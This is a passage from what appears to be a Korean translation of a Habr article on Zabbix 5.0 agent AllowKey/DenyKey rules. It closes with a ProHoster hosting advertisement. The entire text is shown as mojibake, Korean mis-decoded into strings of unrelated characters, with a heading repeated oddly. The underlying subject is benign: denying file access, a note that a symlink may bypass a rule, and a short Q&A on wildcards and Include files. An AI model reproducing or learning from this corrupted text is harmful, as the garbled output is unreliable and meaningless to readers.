์˜ˆ๋ฅผ ๋“ค์–ด ์œ ํ‹ธ๋ฆฌํ‹ฐ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ํŒŒ์ผ์— ๋Œ€ํ•œ ์•ก์„ธ์Šค๋ฅผ ๊ฑฐ๋ถ€ํ•˜๊ณ  ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. zabbix_getํ•ด๋‹น ํŒŒ์ผ์— ๋Œ€ํ•œ ์ ‘๊ทผ์ด ๊ฑฐ๋ถ€๋˜์—ˆ์Šต๋‹ˆ๋‹ค.

Zabbix 5.0์˜ ์—์ด์ „ํŠธ ์ธก ์ธก์ •ํ•ญ๋ชฉ์— ๋Œ€ํ•œ ๋ธ”๋ž™๋ฆฌ์ŠคํŠธ ๋ฐ ํ™”์ดํŠธ๋ฆฌ์ŠคํŠธ ์ง€์›

**

์ฐธ๊ณ . ๋งค๊ฐœ๋ณ€์ˆ˜์˜ ๋”ฐ์˜ดํ‘œ๋Š” ๋ฌด์‹œ๋ฉ๋‹ˆ๋‹ค..

ํ•˜์ง€๋งŒ ๋‹ค๋ฅธ ๊ฒฝ๋กœ๋ฅผ ํ†ตํ•ด ํ•ด๋‹น ํŒŒ์ผ์— ๋Œ€ํ•œ ์ ‘๊ทผ์ด ํ—ˆ์šฉ๋  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด, ์‹ฌ๋ณผ๋ฆญ ๋งํฌ๊ฐ€ ์—ฌ๊ธฐ๋กœ ์—ฐ๊ฒฐ๋˜๋Š” ๊ฒฝ์šฐ์ž…๋‹ˆ๋‹ค.

Zabbix 5.0์˜ ์—์ด์ „ํŠธ ์ธก ์ธก์ •ํ•ญ๋ชฉ์— ๋Œ€ํ•œ ๋ธ”๋ž™๋ฆฌ์ŠคํŠธ ๋ฐ ํ™”์ดํŠธ๋ฆฌ์ŠคํŠธ ์ง€์›

์„ค์ •ํ•œ ๊ทœ์น™์„ ์ ์šฉํ•˜๊ธฐ ์œ„ํ•œ ๋‹ค์–‘ํ•œ ์˜ต์…˜์„ ํ…Œ์ŠคํŠธํ•ด ๋ณด๋Š” ๊ฒƒ์ด ์ข‹์œผ๋ฉฐ, ๊ธˆ์ง€ ์‚ฌํ•ญ์„ ์šฐํšŒํ•  ๊ฐ€๋Šฅ์„ฑ๋„ ๊ณ ๋ คํ•ด ๋ณด๋Š” ๊ฒƒ์ด ์ข‹์Šต๋‹ˆ๋‹ค.

์งˆ๋ฌธ๊ณผ ๋‹ต๋ณ€

๋ฌธ์ œ. ๊ทœ์น™, ํ—ˆ๊ฐ€ ๋ฐ ๊ธˆ์ง€ ์‚ฌํ•ญ์„ ์„ค๋ช…ํ•˜๋Š” ๋ฐ ๊ณ ์œ ํ•œ ์–ธ์–ด๊ฐ€ ํฌํ•จ๋œ ์ด๋ ‡๊ฒŒ ๋ณต์žกํ•œ ํŒจํ„ด ์ฒด๊ณ„๋ฅผ ์„ ํƒํ•œ ์ด์œ ๋Š” ๋ฌด์—‡์ผ๊นŒ์š”? ์˜ˆ๋ฅผ ๋“ค์–ด Zabbix์—์„œ ์‚ฌ์šฉํ•˜๋Š” ์ •๊ทœ ํ‘œํ˜„์‹์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์—†๋Š” ์ด์œ ๋Š” ๋ฌด์—‡์ž…๋‹ˆ๊นŒ?

๋‹ต๋ณ€. ์ด๋Š” ์ •๊ทœ ํ‘œํ˜„์‹์˜ ์„ฑ๋Šฅ ๋ฌธ์ œ๋กœ, ์ผ๋ฐ˜์ ์œผ๋กœ ์—์ด์ „ํŠธ๊ฐ€ ํ•˜๋‚˜๋ฟ์ด๋ฉฐ ์—„์ฒญ๋‚œ ์ˆ˜์˜ ๋ฉ”ํŠธ๋ฆญ์„ ๊ฒ€์‚ฌํ•˜๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค. ์ •๊ทœ ํ‘œํ˜„์‹์€ ๋งค์šฐ ๋ฌด๊ฑฐ์šด ์ž‘์—…์ด๋ฏ€๋กœ ์ด ๋ฐฉ๋ฒ•์œผ๋กœ ์ˆ˜์ฒœ ๊ฐœ์˜ ์ธก์ • ํ•ญ๋ชฉ์„ ๊ฒ€์‚ฌํ•  ์ˆ˜๋Š” ์—†์Šต๋‹ˆ๋‹ค. ์™€์ผ๋“œ์นด๋“œ๋Š” ๋ณดํŽธ์ ์ด๊ณ  ๋„๋ฆฌ ์‚ฌ์šฉ๋˜๋Š” ๊ฐ„๋‹จํ•œ ์†”๋ฃจ์…˜์ž…๋‹ˆ๋‹ค..

๋ฌธ์ œ. Include ํŒŒ์ผ์€ ์•ŒํŒŒ๋ฒณ์ˆœ์œผ๋กœ ํฌํ•จ๋˜์–ด ์žˆ์ง€ ์•Š๋‚˜์š”?

๋‹ต๋ณ€. ์ œ๊ฐ€ ์•„๋Š” ํ•œ, ์—ฌ๋Ÿฌ ํŒŒ์ผ์— ๊ทœ์น™์„ ๋ถ„์‚ฐํ•˜๋ฉด ๊ทœ์น™์ด ์ ์šฉ๋˜๋Š” ์ˆœ์„œ๋ฅผ ์˜ˆ์ธกํ•˜๋Š” ๊ฒƒ์€ ์‚ฌ์‹ค์ƒ ๋ถˆ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค. ๋ชจ๋“  AllowKey/DenyKey ๊ทœ์น™์„ ํ•˜๋‚˜์˜ Include ํŒŒ์ผ์— ๋„ฃ๋Š” ๊ฒƒ์ด ์ข‹์Šต๋‹ˆ๋‹ค. ์ด ๋‘ ๊ทœ์น™์€ ์„œ๋กœ ์ƒํ˜ธ ์ž‘์šฉํ•˜๊ณ  ํ•ด๋‹น ํŒŒ์ผ์„ ํฌํ•จํ•˜๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค..

๋ฌธ์ œ. Zabbix 5.0์—์„œ๋Š” 'EnableRemoteCommands='๊ฐ€ ๊ตฌ์„ฑ ํŒŒ์ผ์— ์—†๊ณ  AllowKey/DenyKey๋งŒ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋‚˜์š”?

๋‹ต๋ณ€. ๋„ค, ๋งž์Šต๋‹ˆ๋‹ค..

๊ฐ์‚ฌํ•ฉ๋‹ˆ๋‹ค!

์ถœ์ฒ˜ : habr.com

DDoS ๋ณดํ˜ธ, VPS VDS ์„œ๋ฒ„๊ฐ€ ์žˆ๋Š” ์‚ฌ์ดํŠธ๋ฅผ ์œ„ํ•œ ์•ˆ์ •์ ์ธ ํ˜ธ์ŠคํŒ… ๊ตฌ์ž… ๐Ÿ”ฅ DDoS ๊ณต๊ฒฉ ๋ฐฉ์ง€ ๊ธฐ๋Šฅ์ด ํƒ‘์žฌ๋œ ์•ˆ์ •์ ์ธ ์›น์‚ฌ์ดํŠธ ํ˜ธ์ŠคํŒ…, VPS ๋ฐ VDS ์„œ๋ฒ„๋ฅผ ๊ตฌ๋งคํ•˜์„ธ์š” | ProHoster